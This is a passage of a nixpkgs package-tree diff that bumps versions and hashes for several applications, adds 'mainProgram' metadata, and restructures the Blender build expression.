(fetchNuGet { pname = "MSTest.TestFramework"; version = "3.1.1"; sha256 = "1lbgkrbrkmw4c54g61cwbmwc4zl8hyqmp283ymvj93lq7chbxasn"; }) + (fetchNuGet { pname = "MSTest.TestAdapter"; version = "3.2.0"; sha256 = "0n7iw8ppjyps4sg0rfh5pags4wq58yg1g9vnxfwa73z38jws2c10"; }) + (fetchNuGet { pname = "MSTest.TestFramework"; version = "3.2.0"; sha256 = "0n9aab1cxf8w23dl4yw7rqpi47v7gd02csq3zisc5whsrb9i0xbq"; }) (fetchNuGet { pname = "Newtonsoft.Json"; version = "13.0.1"; sha256 = "0fijg0w6iwap8gvzyjnndds0q4b8anwxxvik7y8vgq97dram4srb"; }) (fetchNuGet { pname = "Newtonsoft.Json"; version = "13.0.3"; sha256 = "0xrwysmrn4midrjal8g2hr1bbg38iyisl0svamb11arqws4w2bw7"; }) (fetchNuGet { pname = "Newtonsoft.Json.Bson"; version = "1.0.2"; sha256 = "0c27bhy9x3c2n26inq32kmp6drpm71n6mqnmcr19wrlcaihglj35"; }) @@ -91,10 +97,10 @@ (fetchNuGet { pname = "Nito.AsyncEx.Tasks"; version = "5.1.2"; sha256 = "11wp47kc69sjdxrbg5pgx0wlffqlp0x5kr54ggnz2v19kmjz362v"; }) (fetchNuGet { pname = "Nito.Collections.Deque"; version = "1.1.1"; sha256 = "152564q3s0n5swfv5p5rx0ghn2sm0g2xsnbd7gv8vb9yfklv7yg8"; }) (fetchNuGet { pname = "Nito.Disposables"; version = "2.2.1"; sha256 = "1hx5k8497j34kxxgh060bvij0vfnraw90dmm3h9bmamcdi8wp80l"; }) - (fetchNuGet { pname = "NLog"; version = "5.2.7"; sha256 = "1gq5l9qv3vnl0rvxa110bbqsq6m43h8h912xijqab1hsjdpb46q3"; }) - (fetchNuGet { pname = "NLog.Extensions.Logging"; version = "5.3.7"; sha256 = "1hv2v4hqqq86vjvxa0cbk4klaii8n8h1wjrlsfzbp9nnxnzg9pzi"; }) - (fetchNuGet { pname = "NLog.Web.AspNetCore"; version = "5.3.7"; sha256 = "1jifwnvkfi3jankan7543q985gzrywddvajlqrf573aa2dbp5n1f"; }) - (fetchNuGet { pname = "NuGet.Frameworks"; version = "6.5.0"; sha256 = "0s37d1p4md0k6d4cy6sq36f2dgkd9qfbzapxhkvi8awwh0vrynhj"; }) + (fetchNuGet { pname = "NLog"; version = "5.2.8"; sha256 = "1z3h20m5rjnizm1jbf5j0vpdc1f373rzzkg6478p1lxv5j385c12"; }) + (fetchNuGet { pname = "NLog.Extensions.Logging"; version = "5.3.8"; sha256 = "1qnz91099f51vk7f5g2ig0041maw5hcbyqllxvj5zj7zkp0qw9b8"; }) + (fetchNuGet { pname = "NLog.Web.AspNetCore"; version = "5.3.8"; sha256 = "05a6bzvdf63lbnn6sj3yfggxcgv96j91kdbcw0ac5hxl58df58r6"; }) + (fetchNuGet { pname = "NuGet.Frameworks"; version = "5.11.0"; sha256 = "0wv26gq39hfqw9md32amr5771s73f5zn1z9vs4y77cgynxr73s4z"; }) (fetchNuGet { pname = "protobuf-net"; version = "3.2.26"; sha256 = "1mcg46xnhgqwjacy6j8kvp3rylpi26wjnmhwv8mh5cwjya9nynqb"; }) (fetchNuGet { pname = "protobuf-net.Core"; version = "3.2.26"; sha256 = "1wrr38ygdanf121bkl8b1d4kz1pawm064z69bqf3qbr46h4j575w"; }) (fetchNuGet { pname = "SteamKit2"; version = "2.5.0"; sha256 = "06rdagrxqws5yq1nrsd8chv3n9kgrb8rg894vcc40a8w6v27222w"; }) @@ -112,7 +118,7 @@ (fetchNuGet { pname = "System.Composition.Hosting"; version = "8.0.0"; sha256 = "1gbfimhxx6v6073pblv4rl5shz3kgx8lvfif5db26ak8pl5qj4kb"; }) (fetchNuGet { pname = "System.Composition.Runtime"; version = "8.0.0"; sha256 = "0snljpgfmg0wlkwilkvn9qjjghq1pjdfgdpnwhvl2qw6vzdij703"; }) (fetchNuGet { pname = "System.Composition.TypedParts"; version = "8.0.0"; sha256 = "0skwla26d8clfz3alr8m42qbzsrbi7dhg74z6ha832b6730mm4pr"; }) - (fetchNuGet { pname = "System.IdentityModel.Tokens.Jwt"; version = "7.0.3"; sha256 = "1fls88ffq34j1gr6zay1crm27v3sjs5fa4mvj9akqjq05bxanlhk"; }) + (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "5.0.0"; sha256 = "0phd2qizshjvglhzws1jd0cq4m54gscz4ychzr3x6wbgl4vvfrga"; }) (fetchNuGet { pname = "System.Linq.Async"; version = "6.0.1"; sha256 = "10ira8hmv0i54yp9ggrrdm1c06j538sijfjpn1kmnh9j2xk5yzmq"; }) (fetchNuGet { pname = "System.Reflection.Metadata"; version = "1.6.0"; sha256 = "1wdbavrrkajy7qbdblpbpbalbdl48q3h34cchz24gvdgyrlf15r4"; }) (fetchNuGet { pname = "System.Security.AccessControl"; version = "5.0.0"; sha256 = "17n3lrrl6vahkqmhlpn3w20afgz09n7i6rv0r3qypngwi7wqdr5r"; }) diff --git a/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix b/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix index e4e2c652fefec..d7f70bb8c62d0 100644 --- a/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix +++ b/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix @@ -2,7 +2,7 @@ buildNpmPackage rec { pname = "asf-ui"; - version = "f84a296f0ab029e56baba3cca45e5cf21129fd76"; + version = "7406f7126a8351db67aad9f3a0f90c9dc123d80d"; src = fetchFromGitHub { owner = "JustArchiNET"; @@ -10,10 +10,10 @@ buildNpmPackage rec { # updated by the update script # this is always the commit that should be used with asf-ui from the latest asf version rev = version; - hash = "sha256-NISUhxClFAzLQp4o9AzMzasPV9+aBAyDd1tuNT7HJw4="; + hash = "sha256-yTBJoihDc4z4+a03S56MQORvz/l6aqBDzLEi0UrM1N4="; }; - npmDepsHash = "sha256-kI7kgSw0xs8Hsa/5lhLteDo8TgwyxIxKE1QK92D1Qio="; + npmDepsHash = "sha256-S/OwjmfAyEVZfWQ7vqKFctbJRqED0HVJlWEGXrqB1Ys="; installPhase = '' runHook preInstall diff --git a/pkgs/applications/misc/HentaiAtHome/default.nix b/pkgs/applications/misc/HentaiAtHome/default.nix index d5023c64fd1bc..e34c2434a4f53 100644 --- a/pkgs/applications/misc/HentaiAtHome/default.nix +++ b/pkgs/applications/misc/HentaiAtHome/default.nix @@ -52,5 +52,6 @@ stdenvNoCC.mkDerivation rec { "Hentai@Home is an open-source P2P gallery distribution system which reduces the load on the E-Hentai Galleries"; license = licenses.gpl3; maintainers = with maintainers; [ terrorjack ]; + mainProgram = "HentaiAtHome"; }; } diff --git a/pkgs/applications/misc/abook/default.nix b/pkgs/applications/misc/abook/default.nix index e822f869619b9..358ecbcef39ba 100644 --- a/pkgs/applications/misc/abook/default.nix +++ b/pkgs/applications/misc/abook/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = [ lib.maintainers.edwtjo ]; platforms = with lib.platforms; unix; + mainProgram = "abook"; }; } diff --git a/pkgs/applications/misc/anup/default.nix b/pkgs/applications/misc/anup/default.nix index f7e560a32c521..94c21164184da 100644 --- a/pkgs/applications/misc/anup/default.nix +++ b/pkgs/applications/misc/anup/default.nix @@ -30,5 +30,6 @@ rustPlatform.buildRustPackage rec { description = "An anime tracker for AniList featuring a TUI"; license = licenses.agpl3Only; maintainers = with maintainers; [ natto1784 ]; + mainProgram = "anup"; }; } diff --git a/pkgs/applications/misc/ape/default.nix b/pkgs/applications/misc/ape/default.nix index c359d606a8592..e50d766a88b2b 100644 --- a/pkgs/applications/misc/ape/default.nix +++ b/pkgs/applications/misc/ape/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = license; platforms = platforms.unix; maintainers = with maintainers; [ yrashk ]; + mainProgram = "ape"; }; } diff --git a/pkgs/applications/misc/artha/default.nix b/pkgs/applications/misc/artha/default.nix index ac3e9c7c5a1d5..0dfc3285c0615 100644 --- a/pkgs/applications/misc/artha/default.nix +++ b/pkgs/applications/misc/artha/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.goibhniu ]; platforms = platforms.linux; + mainProgram = "artha"; }; } diff --git a/pkgs/applications/misc/ausweisapp/default.nix b/pkgs/applications/misc/ausweisapp/default.nix index 25599f383819a..f00271bf72339 100644 --- a/pkgs/applications/misc/ausweisapp/default.nix +++ b/pkgs/applications/misc/ausweisapp/default.nix @@ -15,13 +15,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "ausweisapp"; - version = "2.0.3"; + version = "2.1.0"; src = fetchFromGitHub { owner = "Governikus"; repo = "AusweisApp2"; rev = finalAttrs.version; - hash = "sha256-pnGtlNXwYNG+m3mmo815dqp2i098I/i7EKdLrDm/Su8="; + hash = "sha256-wgVu5Yr65Gu1z5SEWy5l4B6UiI5bIobBfZLhL7s+SRE="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/avrdudess/default.nix b/pkgs/applications/misc/avrdudess/default.nix index ff171f4574094..af12e6b2f4b84 100644 --- a/pkgs/applications/misc/avrdudess/default.nix +++ b/pkgs/applications/misc/avrdudess/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation { license = licenses.gpl3; platforms = platforms.linux; maintainers = [ maintainers.bjornfor ]; + mainProgram = "avrdudess"; }; } diff --git a/pkgs/applications/misc/azuredatastudio/default.nix b/pkgs/applications/misc/azuredatastudio/default.nix index f90bed6390f22..ff441f672a502 100644 --- a/pkgs/applications/misc/azuredatastudio/default.nix +++ b/pkgs/applications/misc/azuredatastudio/default.nix @@ -193,5 +193,6 @@ stdenv.mkDerivation rec { sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; license = lib.licenses.unfreeRedistributable; platforms = [ "x86_64-linux" ]; + mainProgram = "azuredatastudio"; }; } diff --git a/pkgs/applications/misc/bambu-studio/orca-slicer.nix b/pkgs/applications/misc/bambu-studio/orca-slicer.nix index 251423d24d357..b600f61640101 100644 --- a/pkgs/applications/misc/bambu-studio/orca-slicer.nix +++ b/pkgs/applications/misc/bambu-studio/orca-slicer.nix @@ -1,14 +1,14 @@ { lib, fetchFromGitHub, makeDesktopItem, bambu-studio }: let orca-slicer = bambu-studio.overrideAttrs (finalAttrs: previousAttrs: { - version = "1.9.0"; + version = "1.9.1"; pname = "orca-slicer"; src = fetchFromGitHub { owner = "SoftFever"; repo = "OrcaSlicer"; rev = "v${finalAttrs.version}"; - hash = "sha256-v6REKDlFhyW6kEEfpcm8Sjezkh6uLaBusMuVk8n3Ts0="; + hash = "sha256-+JYUpyEr3xraJEb1wDkyle+jAQiNE+AMUTT1fhh4Clw="; }; meta = with lib; { diff --git a/pkgs/applications/misc/base16-universal-manager/default.nix b/pkgs/applications/misc/base16-universal-manager/default.nix index 2ecbc5f418099..98a255f873983 100644 --- a/pkgs/applications/misc/base16-universal-manager/default.nix +++ b/pkgs/applications/misc/base16-universal-manager/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/pinpox/base16-universal-manager"; license = licenses.mit; maintainers = with maintainers; [ jo1gi ]; + mainProgram = "base16-universal-manager"; }; } diff --git a/pkgs/applications/misc/bb/default.nix b/pkgs/applications/misc/bb/default.nix index 97bd2a1f21ca1..89a0d75fc2b5b 100644 --- a/pkgs/applications/misc/bb/default.nix +++ b/pkgs/applications/misc/bb/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ maintainers.rnhmjoj ]; platforms = platforms.unix; + mainProgram = "bb"; }; } diff --git a/pkgs/applications/misc/bemenu/default.nix b/pkgs/applications/misc/bemenu/default.nix index 2640cbd154d2b..c5e082d796548 100644 --- a/pkgs/applications/misc/bemenu/default.nix +++ b/pkgs/applications/misc/bemenu/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "bemenu"; - version = "0.6.17"; + version = "0.6.19"; src = fetchFromGitHub { owner = "Cloudef"; repo = finalAttrs.pname; rev = finalAttrs.version; - sha256 = "sha256-HfA8VtYP8YHMQNXrg3E6IwX7rR3rp/gyE62InsddjZE="; + hash = "sha256-k7xpMZUANacW/Qw7PSt+6XMPshSkmTHh/OGQlu7nmKY="; }; strictDeps = true; diff --git a/pkgs/applications/misc/bklk/default.nix b/pkgs/applications/misc/bklk/default.nix index 62aeb7c91a5f9..a62eed5f8e1bc 100644 --- a/pkgs/applications/misc/bklk/default.nix +++ b/pkgs/applications/misc/bklk/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ j0hax ]; platforms = platforms.all; + mainProgram = "bklk"; }; } diff --git a/pkgs/applications/misc/blender/default.nix b/pkgs/applications/misc/blender/default.nix index 996e982bdc599..ebbc6cc84fef1 100644 --- a/pkgs/applications/misc/blender/default.nix +++ b/pkgs/applications/misc/blender/default.nix @@ -1,149 +1,175 @@ -{ config, stdenv, lib, fetchurl, fetchzip, boost, cmake, ffmpeg, gettext, glew -, libepoxy, libXi, libX11, libXext, libXrender -, libjpeg, libpng, libsamplerate, libsndfile -, libtiff, libwebp, libGLU, libGL, openal, opencolorio, openexr, openimagedenoise, openimageio, openjpeg, python310Packages -, openvdb, libXxf86vm, tbb, alembic -, zlib, zstd, fftw, fftwFloat, opensubdiv, freetype, jemalloc, ocl-icd, addOpenGLRunpath -, jackaudioSupport ? false, libjack2 -, cudaSupport ? config.cudaSupport, cudaPackages ? { } -, hipSupport ? false, rocmPackages # comes with a significantly larger closure size -, colladaSupport ? true, opencollada -, spaceNavSupport ? stdenv.isLinux, libspnav -, makeWrapper -, pugixml, llvmPackages, SDL, Cocoa, CoreGraphics, ForceFeedback, OpenAL, OpenGL -, waylandSupport ? stdenv.isLinux, pkg-config, wayland, wayland-protocols, libffi, libdecor, libxkbcommon, dbus -, potrace -, openxr-loader -, embree, gmp, libharu -, openpgl -, mesa -, runCommand -, callPackage +{ + Cocoa, + CoreGraphics, + ForceFeedback, + OpenAL, + OpenGL, + SDL, + addOpenGLRunpath, + alembic, + boost, + callPackage, + cmake, + colladaSupport ? true, + config, + cudaPackages, + cudaSupport ? config.cudaSupport, + dbus, + embree, + fetchpatch, + fetchurl, + fetchzip, + ffmpeg, + fftw, + fftwFloat, + freetype, + gettext, + glew, + gmp, + hipSupport ? false, + jackaudioSupport ? false, + jemalloc, + lib, + libGL, + libGLU, + libX11, + libXext, + libXi, + libXrender, + libXxf86vm, + libdecor, + libepoxy, + libffi, + libharu, + libjack2, + libjpeg, + libpng, + libsamplerate, + libsndfile, + libspnav, + libtiff, + libwebp, + libxkbcommon, + llvmPackages, + makeWrapper, + mesa, + ocl-icd, + openal, + opencollada, + opencolorio, + openexr, + openimagedenoise, + openimageio, + openjpeg, + openpgl, + opensubdiv, + openvdb, + openxr-loader, + pkg-config, + potrace, + pugixml, + python310Packages, # must use instead of python3.pkgs, see https://github.com/NixOS/nixpkgs/issues/211340 + rocmPackages, # comes with a significantly larger closure size + runCommand, + spaceNavSupport ? stdenv.isLinux, + stdenv, + tbb, + wayland, + wayland-protocols, + waylandSupport ? stdenv.isLinux, + zlib, + zstd, }: let - pythonPackages = python310Packages; - inherit (pythonPackages) python; - buildEnv = callPackage ./wrapper.nix {}; - optix = fetchzip { - # url taken from the archlinux blender PKGBUILD - url = "https://developer.download.nvidia.com/redist/optix/v7.3/OptiX-7.3.0-Include.zip"; - sha256 = "0max1j4822mchj0xpz9lqzh91zkmvsn4py0r174cvqfz8z8ykjk8"; - }; + python3Packages = python310Packages; + python3 = python3Packages.python; + libdecor' = libdecor.overrideAttrs (old: { # Blender uses private APIs, need to patch to expose them patches = (old.patches or [ ]) ++ [ ./libdecor.patch ]; }); + optix = fetchzip { + # URL from https://gitlab.archlinux.org/archlinux/packaging/packages/blender/-/commit/333add667b43255dcb011215a2d2af48281e83cf#9b9baac1eb9b72790eef5540a1685306fc43fd6c_30_30 + url = "https://developer.download.nvidia.com/redist/optix/v7.3/OptiX-7.3.0-Include.zip"; + hash = "sha256-aMrp0Uff4c3ICRn4S6zedf6Q4Mc0/duBhKwKgYgMXVU="; + }; in -stdenv.mkDerivation (finalAttrs: rec { + +stdenv.mkDerivation (finalAttrs: { pname = "blender"; version = "4.0.2"; src = fetchurl { - url = "https://download.blender.org/source/${pname}-${version}.tar.xz"; + url = "https://download.blender.org/source/${finalAttrs.pname}-${finalAttrs.version}.tar.xz"; hash = "sha256-qqDnKdp1kc+/RXcq92NFl32qp7EaCvNdmPkxPiRgd6M="; }; patches = [ ./draco.patch + (fetchpatch { + url = "https://projects.blender.org/blender/blender/commit/cf4365e555a759d5b3225bce77858374cb07faad.diff"; + hash = "sha256-Nypd04yFSHYa7RBa8kNmoApqJrU4qpaOle3tkj44d4g="; + }) ] ++ lib.optional stdenv.isDarwin ./darwin.patch; - nativeBuildInputs = - [ cmake makeWrapper python310Packages.wrapPython llvmPackages.llvm.dev - ] - ++ lib.optionals cudaSupport [ - addOpenGLRunpath - cudaPackages.cuda_nvcc - ] - ++ lib.optionals waylandSupport [ pkg-config ]; - buildInputs = - [ boost ffmpeg gettext glew - freetype libjpeg libpng libsamplerate libsndfile libtiff libwebp - opencolorio openexr openimageio openjpeg python zlib zstd fftw fftwFloat jemalloc - alembic - (opensubdiv.override { inherit cudaSupport; }) - tbb - gmp - pugixml - potrace - libharu - libepoxy - openpgl - ] - ++ lib.optionals waylandSupport [ - wayland wayland-protocols libffi libdecor' libxkbcommon dbus - ] - ++ lib.optionals (!stdenv.isAarch64) [ - openimagedenoise - embree - ] - ++ (if (!stdenv.isDarwin) then [ - libXi libX11 libXext libXrender - libGLU libGL openal - libXxf86vm - openxr-loader - # OpenVDB currently doesn't build on darwin - openvdb - ] - else [ - llvmPackages.openmp SDL Cocoa CoreGraphics ForceFeedback OpenAL OpenGL - ]) - ++ lib.optional jackaudioSupport libjack2 - ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ] - ++ lib.optional colladaSupport opencollada - ++ lib.optional spaceNavSupport libspnav; - pythonPath = with python310Packages; [ numpy requests zstandard ]; - - postPatch = '' - '' + - (if stdenv.isDarwin then '' - : > build_files/cmake/platform/platform_apple_xcode.cmake - substituteInPlace source/creator/CMakeLists.txt \ - --replace '${"$"}{LIBDIR}/python' \ - '${python}' - substituteInPlace build_files/cmake/platform/platform_apple.cmake \ - --replace '${"$"}{LIBDIR}/python' \ - '${python}' \ - --replace '${"$"}{LIBDIR}/opencollada' \ - '${opencollada}' \ - --replace '${"$"}{PYTHON_LIBPATH}/site-packages/numpy' \ - '${python310Packages.numpy}/${python.sitePackages}/numpy' - '' else '' - substituteInPlace extern/clew/src/clew.c --replace '"libOpenCL.so"' '"${ocl-icd}/lib/libOpenCL.so"' - '') + - (lib.optionalString hipSupport '' + postPatch = + ( + if stdenv.isDarwin then + '' + : > build_files/cmake/platform/platform_apple_xcode.cmake + substituteInPlace source/creator/CMakeLists.txt \ + --replace '${"$"}{LIBDIR}/python' \ + '${python3}' + substituteInPlace build_files/cmake/platform/platform_apple.cmake \ + --replace '${"$"}{LIBDIR}/python' \ + '${python3}' \ + --replace '${"$"}{LIBDIR}/opencollada' \ + '${opencollada}' \ + --replace '${"$"}{PYTHON_LIBPATH}/site-packages/numpy' \ + '${python3Packages.numpy}/${python3.sitePackages}/numpy' + '' + else + '' + substituteInPlace extern/clew/src/clew.c --replace '"libOpenCL.so"' '"${ocl-icd}/lib/libOpenCL.so"' + '' + ) + + (lib.optionalString hipSupport '' substituteInPlace extern/hipew/src/hipew.c --replace '"/opt/rocm/hip/lib/libamdhip64.so"' '"${rocmPackages.clr}/lib/libamdhip64.so"' substituteInPlace extern/hipew/src/hipew.c --replace '"opt/rocm/hip/bin"' '"${rocmPackages.clr}/bin"' ''); + env.NIX_CFLAGS_COMPILE = "-I${python3}/include/${python3.libPrefix}"; + cmakeFlags = [ + "-DPYTHON_INCLUDE_DIR=${python3}/include/${python3.libPrefix}" + "-DPYTHON_LIBPATH=${python3}/lib" + "-DPYTHON_LIBRARY=${python3.libPrefix}" + "-DPYTHON_NUMPY_INCLUDE_DIRS=${python3Packages.numpy}/${python3.sitePackages}/numpy/core/include" + "-DPYTHON_NUMPY_PATH=${python3Packages.numpy}/${python3.sitePackages}" + "-DPYTHON_VERSION=${python3.pythonVersion}" "-DWITH_ALEMBIC=ON" - # Blender supplies its own FindAlembic.cmake (incompatible with the Alembic-supplied config file) - "-DALEMBIC_INCLUDE_DIR=${lib.getDev alembic}/include" - "-DALEMBIC_LIBRARY=${lib.getLib alembic}/lib/libAlembic.so" - "-DWITH_MOD_OCEANSIM=ON" "-DWITH_CODEC_FFMPEG=ON" "-DWITH_CODEC_SNDFILE=ON" - "-DWITH_INSTALL_PORTABLE=OFF" "-DWITH_FFTW3=ON" - "-DWITH_SDL=OFF" + "-DWITH_IMAGE_OPENJPEG=ON" + "-DWITH_INSTALL_PORTABLE=OFF" + "-DWITH_MOD_OCEANSIM=ON" + "-DWITH_OPENCOLLADA=${if colladaSupport then "ON" else "OFF"}" "-DWITH_OPENCOLORIO=ON" "-DWITH_OPENSUBDIV=ON" - "-DPYTHON_LIBRARY=${python.libPrefix}" - "-DPYTHON_LIBPATH=${python}/lib" - "-DPYTHON_INCLUDE_DIR=${python}/include/${python.libPrefix}" - "-DPYTHON_VERSION=${python.pythonVersion}" + "-DWITH_OPENVDB=ON" "-DWITH_PYTHON_INSTALL=OFF" "-DWITH_PYTHON_INSTALL_NUMPY=OFF" - "-DPYTHON_NUMPY_PATH=${python310Packages.numpy}/${python.sitePackages}" - "-DPYTHON_NUMPY_INCLUDE_DIRS=${python310Packages.numpy}/${python.sitePackages}/numpy/core/include" "-DWITH_PYTHON_INSTALL_REQUESTS=OFF" - "-DWITH_OPENVDB=ON" + "-DWITH_SDL=OFF" "-DWITH_TBB=ON" - "-DWITH_IMAGE_OPENJPEG=ON" - "-DWITH_OPENCOLLADA=${if colladaSupport then "ON" else "OFF"}" + + # Blender supplies its own FindAlembic.cmake (incompatible with the Alembic-supplied config file) + "-DALEMBIC_INCLUDE_DIR=${lib.getDev alembic}/include" + "-DALEMBIC_LIBRARY=${lib.getLib alembic}/lib/libAlembic.so" ] ++ lib.optionals waylandSupport [ "-DWITH_GHOST_WAYLAND=ON" @@ -151,43 +177,135 @@ stdenv.mkDerivation (finalAttrs: rec { "-DWITH_GHOST_WAYLAND_DYNLOAD=OFF" "-DWITH_GHOST_WAYLAND_LIBDECOR=ON" ] - ++ lib.optionals stdenv.hostPlatform.isAarch64 [ - "-DWITH_CYCLES_EMBREE=OFF" - ] + ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "-DWITH_CYCLES_EMBREE=OFF" ] ++ lib.optionals stdenv.isDarwin [ + "-DLIBDIR=/does-not-exist" "-DWITH_CYCLES_OSL=OFF" # requires LLVM "-DWITH_OPENVDB=OFF" # OpenVDB currently doesn't build on darwin - - "-DLIBDIR=/does-not-exist" ] - # Clang doesn't support "-export-dynamic" - ++ lib.optional stdenv.cc.isClang "-DPYTHON_LINKFLAGS=" + ++ lib.optional stdenv.cc.isClang "-DPYTHON_LINKFLAGS=" # Clang doesn't support "-export-dynamic" ++ lib.optional jackaudioSupport "-DWITH_JACK=ON" ++ lib.optionals cudaSupport [ + "-DOPTIX_ROOT_DIR=${optix}" "-DWITH_CYCLES_CUDA_BINARIES=ON" "-DWITH_CYCLES_DEVICE_OPTIX=ON" - "-DOPTIX_ROOT_DIR=${optix}" ]; - env.NIX_CFLAGS_COMPILE = "-I${python}/include/${python.libPrefix}"; + nativeBuildInputs = + [ + cmake + llvmPackages.llvm.dev + makeWrapper + python3Packages.wrapPython + ] + ++ lib.optionals cudaSupport [ + addOpenGLRunpath + cudaPackages.cuda_nvcc + ] + ++ lib.optionals waylandSupport [ pkg-config ]; + + buildInputs = + [ + alembic + boost + ffmpeg + fftw + fftwFloat + freetype + gettext + glew + gmp + jemalloc + libepoxy + libharu + libjpeg + libpng + libsamplerate + libsndfile + libtiff + libwebp + opencolorio + openexr + openimageio + openjpeg + openpgl + (opensubdiv.override { inherit cudaSupport; }) + potrace + pugixml + python3 + tbb + zlib + zstd + ] + ++ lib.optionals (!stdenv.isAarch64) [ + embree + openimagedenoise + ] + ++ ( + if (!stdenv.isDarwin) then + [ + libGL + libGLU + libX11 + libXext + libXi + libXrender + libXxf86vm + openal + openvdb # OpenVDB currently doesn't build on darwin + openxr-loader + ] + else + [ + Cocoa + CoreGraphics + ForceFeedback + OpenAL + OpenGL + SDL + llvmPackages.openmp + ] + ) + ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ] + ++ lib.optionals waylandSupport [ + dbus + libdecor' + libffi + libxkbcommon + wayland + wayland-protocols + ] + ++ lib.optional colladaSupport opencollada + ++ lib.optional jackaudioSupport libjack2 + ++ lib.optional spaceNavSupport libspnav; - # Since some dependencies are built with gcc 6, we need gcc 6's - # libstdc++ in our RPATH. Sigh. - NIX_LDFLAGS = lib.optionalString cudaSupport "-rpath ${stdenv.cc.cc.lib}/lib"; + pythonPath = + let + ps = python3Packages; + in + [ + ps.numpy + ps.requests + ps.zstandard + ]; blenderExecutable = - placeholder "out" + (if stdenv.isDarwin then "/Applications/Blender.app/Contents/MacOS/Blender" else "/bin/blender"); - postInstall = lib.optionalString stdenv.isDarwin '' - mkdir $out/Applications - mv $out/Blender.app $out/Applications - '' + '' - mv $out/share/blender/${lib.versions.majorMinor version}/python{,-ext} - buildPythonPath "$pythonPath" - wrapProgram $blenderExecutable \ - --prefix PATH : $program_PATH \ - --prefix PYTHONPATH : "$program_PYTHONPATH" \ - --add-flags '--python-use-system-env' - ''; + placeholder "out" + + (if stdenv.isDarwin then "/Applications/Blender.app/Contents/MacOS/Blender" else "/bin/blender"); + + postInstall = + lib.optionalString stdenv.isDarwin '' + mkdir $out/Applications + mv $out/Blender.app $out/Applications + '' + + '' + mv $out/share/blender/${lib.versions.majorMinor finalAttrs.version}/python{,-ext} + buildPythonPath "$pythonPath" + wrapProgram $blenderExecutable \ + --prefix PATH : $program_PATH \ + --prefix PYTHONPATH : "$program_PYTHONPATH" \ + --add-flags '--python-use-system-env' + ''; # Set RUNPATH so that libcuda and libnvrtc in /run/opengl-driver(-32)/lib can be # found. See the explanation in libglvnd. @@ -199,12 +317,18 @@ stdenv.mkDerivation (finalAttrs: rec { ''; passthru = { - inherit python pythonPackages; + python = python3; + pythonPackages = python3Packages; - withPackages = f: let packages = f pythonPackages; in buildEnv.override { blender = finalAttrs.finalPackage; extraModules = packages; }; + withPackages = + f: + (callPackage ./wrapper.nix { }).override { + blender = finalAttrs.finalPackage; + extraModules = (f python3Packages); + }; tests = { - render = runCommand "${pname}-test" { } '' + render = runCommand "${finalAttrs.pname}-test" { } '' set -euo pipefail export LIBGL_DRIVERS_PATH=${mesa.drivers}/lib/dri @@ -240,16 +364,23 @@ stdenv.mkDerivation (finalAttrs: rec { }; }; - meta = with lib; { + meta = { description = "3D Creation/Animation/Publishing System"; homepage = "https://www.blender.org"; # They comment two licenses: GPLv2 and Blender License, but they # say: "We've decided to cancel the BL offering for an indefinite period." # OptiX, enabled with cudaSupport, is non-free. - license = with licenses; [ gpl2Plus ] ++ optional cudaSupport unfree; - platforms = [ "x86_64-linux" "x86_64-darwin" "aarch64-linux" ]; + license = with lib.licenses; [ gpl2Plus ] ++ lib.optional cudaSupport unfree; + platforms = [ + "aarch64-linux" + "x86_64-darwin" + "x86_64-linux" + ]; broken = stdenv.isDarwin; - maintainers = with maintainers; [ goibhniu veprbl ]; + maintainers = with lib.maintainers; [ + goibhniu + veprbl + ]; mainProgram = "blender"; }; }) diff --git a/pkgs/applications/misc/blugon/default.nix b/pkgs/applications/misc/blugon/default.nix index d11a61e440fb8..5aab73ef1467c 100644 --- a/pkgs/applications/misc/blugon/default.nix +++ b/pkgs/applications/misc/blugon/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/jumper149/blugon"; platforms = platforms.unix; maintainers = with maintainers; [ jumper149 ]; + mainProgram = "blugon"; }; } diff --git a/pkgs/applications/misc/calibre/default.nix b/pkgs/applications/misc/calibre/default.nix index a0966e5555b3f..6003212d16b5b 100644 --- a/pkgs/applications/misc/calibre/default.nix +++ b/pkgs/applications/misc/calibre/default.nix @@ -32,11 +32,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "calibre"; - version = "7.5.1"; + version = "7.6.0"; src = fetchurl { url = "https://download.calibre-ebook.com/${finalAttrs.version}/calibre-${finalAttrs.version}.tar.xz"; - hash = "sha256-pGo9fWyeX5hpw5YOV05tWy/0YxHShStKN96LMPnqIiA="; + hash = "sha256-fD2kTwH692x6Nm93NrUQvmbcXiX9hHBpo4wvUvBqLAM="; }; patches = [ diff --git a/pkgs/applications/misc/camunda-modeler/default.nix b/pkgs/applications/misc/camunda-modeler/default.nix index bf9c06efb54f1..82b96777d324d 100644 --- a/pkgs/applications/misc/camunda-modeler/default.nix +++ b/pkgs/applications/misc/camunda-modeler/default.nix @@ -9,11 +9,11 @@ stdenvNoCC.mkDerivation rec { pname = "camunda-modeler"; - version = "5.19.0"; + version = "5.20.0"; src = fetchurl { url = "https://github.com/camunda/camunda-modeler/releases/download/v${version}/camunda-modeler-${version}-linux-x64.tar.gz"; - hash = "sha256-EKtdja55KFF394sHIh1C/cXxdjedBPbmHzicDVrbXCA="; + hash = "sha256-W8//7sU/ewA99ea3lDPi+IbdAdswt9rukdjoQWj2H9Q="; }; sourceRoot = "camunda-modeler-${version}-linux-x64"; @@ 